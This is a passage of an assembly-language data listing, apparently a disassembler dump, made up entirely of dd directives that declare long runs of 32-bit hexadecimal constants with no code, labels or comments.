		dd 0D1FCA3Ch, 34C35BD7h, 0C21ACCFh, 2BF9280h, 0F303A439h
		dd 959A5E1h, 786FB45h, 0D3AEEEE6h, 0F392B062h, 3418505Bh
		dd 0E341ABC6h, 9060FA1h, 0F8403A16h, 62DCE9FCh,	53D1A3Ch
		dd 7A9C1D1h, 0CB7DB804h, 4D873303h, 107DA17Ch, 0D8AA84A8h
		dd 3FCC8C18h, 7AA411h, 470F2AABh, 0DAB5BF59h, 79B86C30h
		dd 1F9D37h, 0A4E9A758h,	8C6F80A1h, 25BA4A00h, 338C220h
		dd 49AF03CBh, 44D035EAh, 25AC30D5h, 0A53C859Ch,	1A8A80CCh
		dd 0A9A48950h, 2DB21EEAh, 713AFD66h, 0E70D2848h, 0BB405B24h
		dd 43816318h, 1FF1C0C1h, 0A03A5460h, 995D1C94h,	794E408Eh
		dd 0A49F3083h, 74FDA725h, 0F7060015h, 6EA89745h, 9349AD60h
		dd 0FD45235h, 0A5EA7576h, 88A13284h, 49127F44h,	941F11B7h
		dd 0CE06D903h, 81813C31h, 0AF484580h, 23BD2229h, 792BD403h
		dd 0E9712FA8h, 5C22D959h, 77782A80h, 8100ACEFh,	965E4BBEh
		dd 66C68732h, 68F790A4h, 6C408350h, 5FA9B460h, 0DCD5F9h
		dd 53B06B76h, 0B881D3FEh, 0B9F7A805h, 0F50F4604h, 1380251Eh
		dd 73EE8C1Dh, 0A8BDAC01h, 4980916Bh, 5AC516D3h,	0B8004D39h
		dd 0C2ADE711h, 2C37052h, 0C8249185h, 74A029A9h,	0C1D733C5h
		dd 0BD9F7700h, 0E56ED858h, 9ECC01F9h, 0E93923Fh, 6FB2D054h
		dd 409C78A3h, 19F6BAFh,	45C00075h, 6246FABAh, 273AA361h
		dd 8EE780F8h, 5E2A1418h, 41516260h, 7044D321h, 7BD9218h
		dd 0C621719h, 4B443288h, 2E00F761h, 0CAD3A975h,	12F454ABh
		dd 201E7A3Fh, 0DCA72DFCh, 0B04E9900h, 0FCF9BE9Dh, 8FF701F0h
		dd 1686CDA0h, 0BD17EC76h, 0ABC94400h, 344A7FD6h, 819667D5h
		dd 0F966803Eh, 88A837CDh, 8AE687ABh, 24042C02h,	0E07C9F08h
		dd 38F1B38Ah, 0A4010D84h, 9D316D5Eh, 0B5E44840h, 30AC88h
		dd 7CD9024Bh, 0B6E166CAh, 0BD241A00h, 0C64319Dh, 57030467h
		dd 891EF458h, 0A114E41Ch, 1872A201h, 0AA6C1CB6h, 5B905181h
		dd 0F41D946Eh, 20C45ABh, 3948E37Eh, 0B92C00D5h,	63B1A906h
		dd 2600CD97h, 452A7DAAh, 74F3AEC1h, 1FD3FEFCh, 0C398E16Ch
		dd 471EC77Ch, 0B89D410Fh, 0B4BEE315h, 1F95B8E0h, 0B6172E54h
		dd 6F6406EFh, 0FD0589A4h, 2EA31AA8h, 3E460480h,	5998A80Dh
		dd 0DBE0A834h, 18D8036Fh, 35029356h, 50945AE8h,	0D5751902h
		dd 91414932h, 78109298h, 6A00AE8Dh, 0A7BAC239h,	29AD481h
		dd 0B98BDE05h, 9841AB8Fh, 93F713BBh, 0A1790038h, 0CDBE1ACBh
		dd 30002B7Ah, 0A6AD8A32h, 9CA85DFh, 0F413D0C6h,	8B891107h
		dd 88E39004h, 0CE03142Ch, 4D696ACDh, 0DAB3F8E2h, 0F4082ED9h
		dd 0D16E3FF9h, 0A945F6A7h, 5F6DDC81h, 0F519873Bh, 5621E654h
		dd 0D8C0E417h, 734003C2h, 0D250DD94h, 0C460539Ah, 608A4C82h
		dd 88C8A874h, 44057F76h, 906CCECDh, 0E06F844Eh,	0D83C751Ch
		dd 93AE0112h, 3E7FDD10h, 73142355h, 400BE290h, 1060BFC9h
		dd 1E1C2Ch, 0D213DB79h,	0D3A8B068h, 0FE55B00h, 0ABC8E901h
		dd 69BE606Bh, 0A02DF1ACh, 1ED22301h, 0E085A814h, 0FDC44980h
		dd 1B3C5F25h, 4598F150h, 0AC0D88h, 7982A73h, 3972FE15h
		dd 0FC2D5500h, 0EEB2697Ah, 4400B04Dh, 0A0001043h, 982ED121h
		dd 903C656Eh, 305539A5h, 0AB8D6B80h, 0F16F4CF2h, 0B17A0212h
		dd 0CC675412h, 66633FC0h, 0A9EA290Eh, 42E30C9Ch, 0FE00E121h
		dd 6FE2C95Ch, 1381F12h,	6B4413A7h, 0D5CFD595h, 90DCFC67h
		dd 85806F58h, 50884B33h, 88BF546Ch, 476E0162h, 0D637751h
		dd 0B253F43Ch, 9C03A124h, 9818C912h, 0A654A208h, 41F900C4h
		dd 660FDB1Fh, 0E85D9D79h, 21543590h, 44099008h,	2E005230h
		dd 580A453Fh, 72FC00A3h, 0D1D7FB49h, 9205509Eh,	0B0C3D0C2h
		dd 0B86F08C1h, 0A02845C4h, 248AD60h, 8031CC59h,	0F700978Fh
		dd 98EDA68h, 0BC87132h,	3818340Bh, 0DC0EFA79h, 80F42D4Bh
		dd 17461FA6h, 0B89A1Ah,	3F708AAh, 0AC8F9FA0h, 0BC11A803h
		dd 207D75F3h, 32701931h, 9C0881CAh, 83F90D60h, 0CA6300A8h
		dd 0ADA224DEh, 0CB17D77Dh, 0D4071258h, 938035A6h, 805206BDh
		dd 0BB63C621h, 10ECC41h, 0ACC09AD9h, 0C83D5455h, 640032D7h
		dd 6FA8729Eh, 2EFEC7B5h, 12952F7h, 60AB316Ch, 0B3E180CDh
		dd 533574B6h, 561B000Ch, 0E8FE8C94h, 0AE008A17h, 834DA89Bh
		dd 50594B54h, 40399C36h, 2C354690h, 5C08810Ah, 943E874Ah
		dd 5B2D0D7h, 83B2AC3h, 0C8E8251h, 0A47B9E24h, 0C608E18Ch
		dd 50205997h, 0C19C2h, 816F08BBh, 661EF538h, 88032F2Ah
		dd 44727D20h, 0F00CA470h, 58CF493Fh, 461B0C5Eh,	33993A29h
		dd 153A122h, 98A6245Ch,	89FA1745h, 92B83379h, 0E7CCE0E4h
		dd 0B4894CF0h, 0F47C5622h, 6C5CB777h, 68058088h, 2367F1h
		dd 0C1A303CAh, 5D5FE1A1h, 1F5CC9E8h, 64432428h,	82D72C85h
		dd 0AFD3C9C1h, 52924424h, 1048C0C0h, 94715DC0h,	2001D581h
		dd 7BF86182h, 0E0E81624h, 0B857026Ch, 0A876A13Ch, 8633F8C1h
		dd 0A5D52161h, 20586599h, 3900CEFh, 6494E321h, 0F71B0980h
		dd 40EC91Eh, 0A9404CECh, 486CC7E1h, 29B900BFh, 0F1329061h
		dd 23452462h, 4F5B65CCh, 92124684h, 94445980h, 92A7173Eh
		dd 6002086Dh, 0E4C635B0h, 0C7CC77CCh, 10701131h, 75782B0Fh
		dd 0DCBED805h, 9C094B1Ch, 2ECC26D4h, 715C60D1h,	66C1F5F7h
		dd 0BFFCF612h, 0A245C400h, 14467FDh, 5759F1C2h,	60F746E0h
		dd 1E1034D8h, 6F09C77Fh, 340288A7h, 0AD00CB2Bh,	24F95BA8h
		dd 470C9D32h, 298FC260h, 0D40570CAh, 395C0890h,	7F6F1780h
		dd 1967783h, 86C1E1C5h,	0CCCA7AFEh, 4C2CC351h, 0E409941Fh
		dd 0F3F018CFh, 0DFA805B5h, 0C18A8BC2h, 0EDB78893h, 0D7A88C59h
		dd 60CB29A6h, 0ECB9693Ch, 0B80ECFF4h, 0C05C1AD9h, 0C34D7413h
		dd 444C00D6h, 0A55A4BBFh, 1F208732h, 936C29ABh,	0E1EF00E0h
		dd 196252DBh, 4ED4EC00h, 26F9B550h, 2ECA3D30h, 32006A26h
		dd 282AAA81h, 2222C81Dh, 3E0996D1h, 8487667Eh, 4888222h
		dd 0E1F0B05Ch, 488414h,	0EC8E318h, 604B739Bh, 0B60FF440h
		dd 0CCDC10h, 5EC99FF9h,	34CA4E75h, 23F8D518h, 843CBE81h
		dd 0A14CD054h, 0C0176284h, 32015AD4h, 14623EBAh, 88371110h
		dd 6A33803Ah, 0FB35E2CCh, 1D03C3E4h, 0AEEE8EFFh, 30F02C86h
		dd 0DDC75088h, 0A486000h, 654712C9h, 0F2630325h, 0AA880F3Dh
		dd 0B8FB30BFh, 0BC00B2D4h, 0B6E351DCh, 41A468Dh, 0AF9C6642h
		dd 92A88211h, 0C8DCAD23h, 158F1Eh, 9CA656ACh, 822618EEh
		dd 2C45A80Ah, 3E115C21h, 400E0807h, 25A8F06Ch, 7890DD8Bh
		dd 96419882h, 0B5747424h, 38338A13h, 0C22F28C0h, 45A2EF0h
		dd 165211F4h, 0C4091DF1h, 29CE0EF3h, 307004C9h,	77D264CCh
		dd 290E00F9h, 0DEE23D05h
		dd 22F36DC0h, 9E46004Ch, 9FFB386h, 48E893h, 0ACF05B22h
		dd 5A45072Ah, 8D7EBEE2h, 7E13F4B2h, 68229D31h, 0E334816Fh
		dd 0B7FC4BFCh, 0A79E09A9h, 2C0FC91Ch, 0BB4EB80h, 0EC0930CBh
		dd 1AB74633h, 9A542034h, 3C76F1Eh, 10A3D6BBh, 0A7F8B623h
		dd 438038CCh, 7F9501E6h, 6A9BA18Bh, 9258205Eh, 76E2F97Fh
		dd 0CCE92950h, 2139E313h, 74200CCDh, 783F0501h,	49906C66h
		dd 0EC68CCB0h, 0B00081FCh, 3591DE2Dh, 0F85969Ah, 5C314BA7h
		dd 13E36BC1h, 6CF18855h, 0D97681ACh, 0CCB2A3ECh, 0CD50D178h
		dd 0DD0DA928h, 11275B90h, 44234031h, 0D4EF3F14h, 0A96C4093h
		dd 0E29718AEh, 2546660Bh, 0F084639h, 6F1317Fh, 8982BFA4h
		dd 23CCFC08h, 0C92F29C0h, 3E9BB3ACh, 32339DBFh,	47B8ED19h
		dd 27909C87h, 5DE15824h, 4E90AE00h, 1531EBCBh, 882D45A4h
		dd 34634300h, 66148560h, 3E5CD212h, 0BC80D408h,	0D5DDB009h
		dd 48648C12h, 6040CC5Ah, 6D453EDBh, 0B0BA3972h,	6CDF2384h
		dd 0B4CA0Ah, 0F7E80645h, 0B1B70E61h, 0C7E5801Ch, 0D8FD7DCEh
		dd 0FA847800h, 0A9102C1Eh, 59467402h, 0AD0244B1h, 285BD781h
		dd 0D275E461h, 78473C24h, 4967D061h, 2AE4D590h,	5120AB01h
		dd 0A491D231h, 0A445AC30h, 0E4BE45E8h, 88004773h, 8D49904Fh
		dd 4BDEF57Dh, 46EC01D7h, 37CB6928h, 0D940040h, 1048A744h
		dd 0C8B7000Bh, 3A8AA673h, 3B60CC97h, 0EA26FB91h, 0D2880066h
		dd 862E8578h, 8C00C9DFh, 0C1A96E81h, 2646FDB8h,	64907759h
		dd 1C5847A5h, 0F6A48F48h, 17C2557h, 3B4DB96Ah, 48CDF13Eh
		dd 700004FCh, 91B688C7h, 18E2101h, 0ADB10C25h, 0F0FCF414h
		dd 90916CDDh, 8B0EC703h, 3E6EA918h, 24BF4430h, 1D9C50E0h
		dd 42C0269Ch, 292117h, 0C85D043Bh, 22894A1Eh, 332235E4h
		dd 101CA487h, 4879CF22h, 0D4F49300h, 26C5F59h, 0CEC9B50Fh
		dd 0D680BADBh, 0A8CACFA9h, 0F0266E76h, 58228903h, 58130900h
		dd 0AF868CA7h, 548F17F3h, 3080271Eh, 3DF8EE9h, 8D0B4C90h
		dd 20A0E090h, 0D035A230h, 0E349CB8Ch, 8B26018h,	0CD59C60Fh
		dd 70DE40AFh, 9BF9A96h,	6397F4F8h, 87006864h, 0DC3E559Dh
		dd 1888BEC3h, 0E140CC50h, 627CB707h, 896F7A3Bh,	99863E92h
		dd 0D910B474h, 0E300539Bh, 3E0FDD3Fh, 0EB24DAh,	7213CC4Ah
		dd 1EF95A11h, 0A80889Ch, 86EFF34Dh, 97F00123h, 5DC058B2h
		dd 80506C4Fh, 0C53B0D47h, 1AB90914h, 0D88480BDh, 3F7482BFh
		dd 2380A0D3h, 1D1AF914h, 292A5BE5h, 0E9D7D740h,	3BC040A8h
		dd 0D895EB8h, 4485A46h,	6C07FE6Ah, 0ED6805Dh, 5BF391F0h
		dd 0CA342E49h, 63A85BACh, 517466EFh, 34981226h,	0A0D3D416h
		dd 5578F0E3h, 10DD4845h, 0F4E8BAC0h, 471D0379h,	61B1EE58h
		dd 9211ABCEh, 0B8869A3h, 8264D2C8h, 21B9C6ECh, 0D235C092h
		dd 33009053h, 9ADFB1D3h, 5AD10A37h, 0C0D4B6BFh,	85C1EC5Ch
		dd 0F94AF400h, 0C9FAF720h, 0F03DE534h, 1EC1440Bh, 233A2C48h
		dd 0A0F32B1Eh, 3B1884C0h, 0B08C56A3h, 3FA24FCh,	80B118Ch
		dd 0BD44E3C2h, 3B3AB400h, 75867D08h, 8E0A9900h,	5103B3D0h
		dd 0FB4E1FA6h, 4D1040C3h, 0EBCC66D6h, 0E422355Eh, 0EC4605Eh
		dd 0DDA5399Dh, 28846B08h, 8B6D5B00h, 0B0E33E60h, 102B311Bh
		dd 0D2375981h, 9BF1200h, 147701A9h, 18ACF660h, 0EB8EC4B3h
		dd 94639F00h, 0A0976615h, 0A49318D6h, 0CD213929h, 0B89BB573h
		dd 490A80BEh, 547D7133h, 0EE831C17h, 4B324BB7h,	205B7C11h
		dd 0C85834A4h, 0C3E380A0h, 78DDD3h, 17F455EEh, 0CDF71D61h
		dd 0ED007099h, 0C5324A35h, 2A4511A1h, 90C12721h, 55E8A0h
		dd 5D9480DEh, 0D87252B5h, 95D2E707h, 415E629Fh,	19910B8Ch
		dd 92167872h, 63A4C9BEh, 3C8D0140h, 13FEC6B3h, 3673AD40h
		dd 447C9825h, 0BA02AA02h, 0D841543Ch, 0F20E651h, 0D006ADA6h
		dd 4C830700h, 3A01E0ECh, 59776D13h, 83FE5E24h, 0A1AB7E80h
		dd 0E851D318h, 0EC481739h, 0C7468848h, 0CD34B01h, 0DA0DB9E4h
		dd 0C3BA960h, 0C15F68EEh, 0E896A4B9h, 0AA20CD40h, 0C30B1D78h
		dd 0C24500B8h, 0F04A5DB5h, 44E13812h, 2104E314h, 0C91136h
		dd 0A1FED5E6h, 0F1096E85h, 9D118C7Dh, 93F70244h, 446FFEEAh
		dd 0BD8A00BCh, 67EB84Ch, 4504F90Bh, 916C8917h, 146F8840h
		dd 9C0064C7h, 5ECA7184h, 2FFB8086h, 5810BF32h, 0A232E74Ah
		dd 48F96058h, 446BABF0h, 43F0AEA6h, 8D6FB100h, 0E620DE05h
		dd 0FBF207CFh, 2078D755h, 7AC9AEB2h, 1680C704h,	7CC05497h
		dd 0E9BFA5ABh, 2235B0C8h, 0D886B8C9h, 0D10F5D00h, 0F8F4D8A6h
		dd 2338009Fh, 5DF27FCh,	0C80054F9h, 0CD14F170h,	0F4AFDDAh
		dd 9E9A2FA1h, 68F76680h, 0C896FEC7h, 0C5A08447h, 170A709Bh
		dd 0F3ACB6Ah, 8C87B6BBh, 0F0FCE0D3h, 0E82CB321h, 660242Dh
		dd 0D3D592h, 0A9C8DE7Eh, 6612761Bh, 0BC4BACE4h,	19C99422h
		dd 0B07708B6h, 0C22444ACh, 6FC9A917h, 30CA9F00h, 747A4BC8h
		dd 12801321h, 44849841h, 3E800499h, 819B62F2h, 6FCE001Dh
		dd 139E5AB4h, 0C4F2B8DCh, 6A31802h, 80431FBEh, 0B3D76920h
		dd 0F81C3FC0h, 213C1Dh,	3DEB0EAh, 0D017549Ah, 889C228Fh
		dd 9C6B171Bh, 426888CEh, 0CFC16E00h, 37E2CA68h,	0E34E05DCh
		dd 90F54481h, 1D514B3Ch, 1BBAC11h, 5E1E2100h, 0E31CB8C8h
		dd 0D016B64Bh, 0EECCDCC0h, 1DF1028Dh, 0CDF45CF5h, 0AA009052h
		dd 0B240A812h, 126CA267h, 624F4431h, 4060C170h,	0F890CBE2h
		dd 304BE20h, 0DBF98EC2h, 2E05A2Ch, 0AFBE6673h, 0BE0C40Bh
		dd 5FEC91B0h, 0C203D4D0h, 0CA12C17Ah, 0D5E390E0h, 6002309Ah
		dd 0D03461BFh, 90C583h,	0B6986DDCh, 0D6028966h,	45A43A3Fh
		dd 64205A12h, 212910CBh, 0E09F66C2h, 331660FFh,	708C42B5h
		dd 2A02F425h, 9C1C59h, 1644C8ECh, 0CB2B1FF2h, 6BD26601h
		dd 0CD5FA434h, 7901306Dh, 0FC72759Dh, 1B7EC801h, 0F6103200h
		dd 0B56E1EBDh, 0F3A5001Ch, 56C4D9CDh, 3446043h,	407787h
		dd 418045ABh, 6F8F830Bh, 53F8C84Ch, 0A32160h, 46D951F1h
		dd 9CA0F458h, 0A0A85C3Fh, 770025F7h, 39F54597h,	509B55ABh
		dd 0A86460h, 6E4B9ABBh,	0F059B384h, 2EC8E4A9h, 539CDC49h
		dd 0DD1E8034h, 84D1665Ah, 0D849BB01h, 25416899h, 12541A20h
		dd 42B55FCAh, 0BDCB21CCh, 1034D091h, 0FF9F4Ah, 153312DDh
		dd 0C2766F1Ch, 2C00D3E4h, 53EE64EAh, 12B6D0F7h,	8405B43h
		dd 468A4EB8h, 9CC0DC2Ah, 4F8632AAh, 6CA80683h, 0A87571A7h
		dd 499AC100h, 0D7E2BBBEh, 0E5390071h, 81BA21C8h, 7305DD1Bh
		dd 1FA5E956h, 0EF68B4h,	7DD8F653h, 5734815Bh, 6A507900h
		dd 0FD112180h, 3DC330D2h, 0CB131788h, 0B0C0B4BCh, 0A2ADE1h
		dd 289BF56Bh, 3A462AC9h, 745E9A00h, 0D43AAE6h, 4A4524BEh
		dd 93801034h, 0A02D9C31h, 290F460h, 0B8997A2Bh,	0ACD8A960h
		dd 5C1F131Bh, 3344C030h, 21E89E4Bh, 59C1077Ch, 8626E1A8h
		dd 41A4C417h, 0A38B1E00h, 0FD5EABBFh, 0D4EA0025h, 0DEF9E45Fh
		dd 8E2FC8FAh, 1250B850h, 0ADC01F5Eh, 0CAA84266h, 6F618FE1h
		dd 503C601Fh, 12191C84h, 594607B8h, 34182CF1h, 5C42CD4Ah
		dd 66CEB992h, 16A444C0h, 5038A203h, 2870BD92h, 2B01721h
		dd 28460231h, 805AC889h, 0D853E0BEh, 2CB628h, 1D3EA008h
		dd 0CCD02F85h, 46D4A400h, 0A360DCF7h, 743F5C45h, 978DB8C2h
		dd 1C00B446h, 0A6E911D7h, 28841699h, 0BAB8F5B9h, 71390974h
		dd 0A701C4F2h, 0F481B36Bh
		dd 66378CEh, 22B9A920h,	24070251h, 0CA2DD77Fh, 0A435E310h
		dd 0D0C01F19h, 16AC2621h, 0D4148866h, 6175F100h, 1896CEA1h
		dd 0B38B1F85h, 0F6D8C01Bh, 0AB0A780Dh, 0BC251098h, 1786C07h
		dd 10FDA57Fh, 0D4A6FCB7h, 0EF00A3F9h, 0E4019F1Bh, 54535DB6h
		dd 9A64E3h, 0AB0CC6F1h,	3E73F6B9h, 0B749A201h, 0C23FF48Eh
		dd 0E8AF5FC8h, 7CBCA003h, 9150BECBh, 82C30047h,	0CDEF370Bh
		dd 5E80024h, 30A6ECFAh,	1812BEBDh, 0E48CF6F4h, 44700009h
		dd 762C6D8h, 930060AFh,	498621E7h, 0B349963h, 530DB746h
		dd 443CC404h, 70CED321h, 93805503h, 11033660h, 0F185E29Dh
		dd 9A26D8F2h, 84D360E5h, 9246EBD4h, 0F8518005h,	0C420130Dh
		dd 0A762C9h, 7FDF1C1Fh,	4F9FF393h, 63409096h, 0EBAEE91h
		dd 43BD208h, 0B2245F64h, 8C037930h, 0EDD7A319h,	5BD63958h
		dd 95930100h, 0FD3F5176h, 3D49321Ah, 2BF41931h,	3029570h
		dd 7C51CFDEh, 0C9B8E788h, 770F0342h, 0A595A644h, 7C0ADD6Ch
		dd 0CD6488BBh, 0B511B232h, 883B3C24h, 0EC005FACh, 153071CCh
		dd 7F274D4h, 7E1F3E51h,	41CE95E9h, 0E2AA2C84h, 6C88403Dh
		dd 74AC67ACh, 9CFC7600h, 9A06A7Bh, 40351C23h, 0D12B8093h
		dd 96842514h, 42F7BF0Fh, 6BA4E289h, 50AE20B5h, 66008C64h
		dd 886916EEh, 390E8110h, 0E209BFCBh, 944860A0h,	0F5017BA7h
		dd 460D0791h, 74CE45BFh, 6CCB2558h, 0E8C429DAh,	54449490h
		dd 0E14509F7h, 0E8E8D134h, 2E7C155Bh, 86793F0Bh, 41C38061h
		dd 13B94448h, 0C8A453ACh, 0F700044Ch, 0BF4D1C3Dh, 5691BC9h
		dd 0D0B0AD86h, 2C3C0456h, 34C2423Fh, 0A5864D3h,	1C6795F3h
		dd 0AD5B41C8h, 613430D9h, 3F462408h, 0FCC08B27h, 0CF692883h
		dd 530C5850h, 90455C88h, 0BD4B44ACh, 0E0AF5804h, 42806516h
		dd 12421F8Bh, 146DF423h, 3317C0C9h, 0EC4834BAh,	0F38F8030h
		dd 65EB610h, 0B5AC2F2Ah, 0AB1FE9C8h, 1C455C7Fh,	24A52D46h
		dd 0CB006063h, 8E9E3F63h, 0BE27F43Eh, 598462C4h, 561480CCh
		dd 0A202F166h, 29C0B9Fh, 10A0CC40h, 9B8A3EB9h, 0C502B920h
		dd 0EA5FCh, 1404D7F8h, 125A22Ah, 11E3DE09h, 22C72CDh, 56C86D0h
		dd 3C50DF75h, 3F017890h, 64216676h, 7C401EC7h, 0FACB16h
		dd 49E6A8BAh, 0A76EED9Bh, 0A09D8600h, 0A97EDA1Fh, 4530B024h
		dd 10F86CA5h, 5C0E3FF8h, 0D2828087h, 34602183h,	0BB883DBFh
		dd 58C28A1Dh, 82E42013h, 33273908h, 23443099h, 0E34A0B92h
		dd 0C48B832h, 0A588936Fh, 5E37055Dh, 0BF016A0Dh, 0CF8DA7C0h
		dd 4947005Ch, 0CBA502F9h, 0C80095C2h, 0C1ABE0C4h, 27ECF413h
		dd 0A4C48232h, 0A9001642h, 0C84418A8h, 490F85B6h, 4844EF0h
		dd 0ECAC2C5Ah, 0A7732580h, 0F4BCCD68h, 101900BEh, 2A0DA9E8h
		dd 0B3C60036h, 0C9AF9E86h, 0C70278C0h, 0A4AC1738h, 0ACE89350h
		dd 0AEB31040h, 3F027C6Ah, 0CD5BC83Ah, 22945218h, 6C4E4CBEh
		dd 50B2A040h, 4C49DA68h, 71805059h, 0BAAEE2E6h,	1BAA4800h
		dd 80034182h, 65E81D04h, 0B90D40C9h, 42AB1FA9h,	5C5B50C1h
		dd 79D243C0h, 214A0560h, 879981B0h, 0C072F2F6h,	4BC56800h
		dd 4C0B54E3h, 274ECD8h,	67B03FF1h, 0C1D956h, 5C396Bh, 742DDDFDh
		dd 0E15B37h, 0B729F869h, 0BD79EEDFh, 0ED6DFA02h, 405DECCEh
		dd 8AB9D778h, 0F0129CF1h, 0D98118B6h, 0EB92216Eh, 2C42BE92h
		dd 6FE73856h, 2B466C70h, 90349935h, 900293D2h, 4246159Eh
		dd 802865FCh, 71033E41h, 0F20083DCh, 6DB208EEh,	0ECC30D18h
		dd 0EFD8045Ah, 169669E0h, 0A934E830h, 0F65100EBh, 53EA3F4Eh
		dd 0F494C769h, 18488891h, 0C25A0922h, 733D488h,	943CB877h
		dd 0D8D1609Ah, 0BD0F114Ah, 0A6C3B9E9h, 22C84575h, 0CB5B92CAh
		dd 7E5E449h, 35F0262Eh,	0EACF6478h, 0A188A6D0h,	119D93F4h
		dd 9CBF545Bh, 5C44CCC8h, 289308B0h, 221030B9h, 10BCA6CEh
		dd 8B497D40h, 30670B7h,	634AF4E1h, 0E9A933Ah, 3BA7CC81h
		dd 0CCE80455h, 809A2080h, 8101B1E5h, 0C3D55FE9h, 102D46E4h
		dd 3074422h, 0FBE77F15h, 0EC049DA0h, 69DD0092h,	452CBD07h
		dd 0A27C17E8h, 52100497h, 40A4E34Ah, 0F8EDE44Ah, 4767F100h
		dd 12C89B2Dh, 53721208h, 3F0CC8BDh, 0CC80848Ah,	884BB88Ch
		dd 0CF1FE7F7h, 0B443D3A9h, 2D14F34Fh, 0E8085618h, 47100058h
		dd 0A51F4109h, 8A0BBF00h, 9CF1EB05h, 3DD50064h,	0F8B74B39h
		dd 809E1DF4h, 2A11A982h, 62A891CEh, 0D21ECh, 19185510h
		dd 127C3095h, 8B1EFF09h, 39549141h, 9493A816h, 0A892F026h
		dd 0BE7E3408h, 0F1B74A09h, 67AED403h, 0D0E615C3h, 453ACA0Ah
		dd 3800A4F3h, 90A49251h, 17478956h, 0AEB4C200h,	657D88h
		dd 9AB7CC77h, 0F4F18095h, 0CC94E626h, 0BD4FA108h, 6B3F8CCCh
		dd 5F9A2F81h, 2CC8FD5Dh, 8B02508h, 3112F4FCh, 2A463844h
		dd 0BA6BCC8h, 3DEBCACCh, 9707C059h, 420A063h, 180E19FBh
		dd 49B116DFh, 0EA311E54h, 0A393E95Ch, 205B8432h, 69FA1638h
		dd 0D2857700h, 8E8111A3h, 0CCAB0EC8h, 0CC5DA52h, 0A55008E3h
		dd 90F65941h, 0A00F6873h, 0C5C17883h, 4087E5BAh, 19BEF8C2h
		dd 5C5C503Ah, 9CB1C8ACh, 7A4091F7h, 2C107101h, 4277C979h
		dd 15AABCCh, 8A32E94Ah,	6A46C144h, 5ED60820h, 0CEEB050Ch
		dd 8C7C553Ch, 0EFFE4830h, 5E723200h, 49B1B50Fh,	416202CFh
		dd 0C028FE55h, 0BA32C4E8h, 40C8B94Bh, 3B448434h, 98030784h
		dd 7064D794h, 0B577242Dh, 0FDE9D102h, 7112FF19h, 0F0400980h
		dd 0FC6AE46Ah, 0FC01CCCEh, 460EB554h, 0A86C67A9h, 0B6D65B80h
		dd 29001AD2h, 24F74D39h, 3FAFC0D4h, 12C0E260h, 2893F43Dh
		dd 0C4BC3032h, 1BF9C58h, 4D17D89Fh, 0C2A7AC22h,	96CF1882h
		dd 0FE13E428h, 80EB8F2h, 17E044DCh, 85F5AE5Ch, 73AACC1Ah
		dd 51D009D2h, 805B1F3Ch, 0CC53C0EDh, 88EC95D4h,	2EBDF701h
		dd 0F45DF34Eh, 61C0F06Ch, 5480CA39h, 3595263Bh,	0C6000EA5h
		dd 2D080B27h, 1634096Ch, 0D464C765h, 1D8F8600h,	52FCB797h
		dd 252601CEh, 3FF63EDFh, 0D43155h, 86C3E35Ch, 11036426h
		dd 597AD300h, 2E17F4C5h, 1194CF7Dh, 0E4C22E3Dh,	0D0930826h
		dd 6F4FE070h, 4B422665h, 207C1FC4h, 1145A412h, 0A5F1A091h
		dd 3A08203Ah, 0A00024B6h, 0AABD2905h, 1E16E22h,	66C947C3h
		dd 6031E89Ah, 58880A04h, 5B42157Ah, 0B8005CA4h,	0F9629363h
		dd 134ECDF4h, 23507022h, 8EF25AE5h, 0FA9DC05Fh,	0C8DB27D2h
		dd 4C04E4E2h, 40F959h, 3A643C2Eh, 0FAD04117h, 7FFEA7h
		dd 5586D6E6h, 0CDFB8996h, 40891CA2h, 0EE1E5CC4h, 0D79FE775h
		dd 7A108687h, 8F372A30h, 400CBC92h, 1177AA55h, 88E5C91Dh
		dd 5B2A0AC0h, 0C0C2066h, 16686102h, 50B0CA3Eh, 3FF0A800h
		dd 8C6AD37Ah, 0F46D39DFh, 0B1605F3Dh, 4AC205BBh, 8294273Bh
		dd 0EB6B8BABh, 40407E59h, 3B688069h, 0A047C200h, 0BE19694h
		dd 0F84B64C6h, 46554003h, 9B49E04h, 72621CA0h, 4D7FAC18h
		dd 0F3F5BC03h, 88E38A73h, 0FA608341h, 0F81C4CB5h, 0CAEAE909h
		dd 1407F059h, 3CE1C561h, 0F9FA03C1h, 5CB100A4h,	46E1458Bh
		dd 66D08E01h, 1FAC68D2h, 5A00D863h, 37EE05BEh, 0A33BCDC5h
		dd 0F77C837Bh, 0CB6068h, 5ED3AE49h, 0AB2B8DCFh,	0C835A90Bh
		dd 0BD00E4B5h, 71000014h, 7A37D074h, 0C0FE6D36h, 2BFAA1B8h
		dd 789660EAh, 0E4003B9Eh, 3674E014h, 0F4F6009Eh, 0CCCE4687h
		dd 18B0A5E1h, 0B8CB2E02h, 7A60AB2Ah, 83638DCh, 0DFB6A383h
		dd 568199F0h, 0A463C4FCh, 5BD6017h, 555C1C44h, 39363170h
		dd 0E2DB8A00h, 55DDDFA8h, 0B4C3D19h, 195684D0h,	6920A493h
		dd 4C487813h, 0CA35C338h, 0AE68B8D4h, 504E7F0Fh, 58568469h
		dd 0B080F4CDh, 764203AAh, 0C34FD00Eh, 0AFC980BCh, 4BD581BEh
		dd 719C09A8h, 0FEC8AC13h, 882CFB8Dh, 7314E467h,	35C316D4h
		dd 0A40990C3h, 4A873302h, 2311E0D9h, 0CC90BD7Ch, 90948F6Ch
		dd 9C26E04Ah, 0FCC52Dh,	1C997ED0h, 7100D273h, 0D6AF61DBh
		dd 2FAEF1Fh, 77F9E448h,	80910C14h, 0FDE71146h, 0CC3CC4h
		dd 92DC7570h, 3EBF865Ch, 1F16EBE4h, 0D8204299h,	17E2D62h
		dd 8DA6E301h, 2866CF8Eh, 0F7C580A4h, 38B2A058h,	4300B12Dh
		dd 0C3D1BE8Bh, 0F8C40731h, 0AD0ACBCDh, 23B4019Ch, 8B2D021h
		dd 19A90EC1h, 15807D6Ah, 1F667162h, 0CDAD3702h,	5EE144B2h
		dd 6DB64358h, 59829FF0h, 0B0D26A02h, 0C607FA3Eh, 0AB3D01CCh
		dd 1A5BA292h, 321470B8h, 0FC4A8202h, 43627F21h,	0C773A3F9h
		dd 87227C3h, 20708819h,	0E6B4D000h, 63A62D6Fh, 0A82128BCh
		dd 0FC345CC9h, 0F1F588h, 0C387B52Dh, 15E59A21h,	0BA7F417Ch
		dd 0A90E19C5h, 0E512F880h, 0CC74D5h, 1D60C1EFh,	1EB6FA14h
		dd 0B55C6600h, 75800D7Ah, 5DC600DDh, 0E0EE973Ch, 0D0B89A23h
		dd 75BD2C80h, 1BE9E18Bh, 0A1A91980h, 0A32D6E83h, 58218B63h
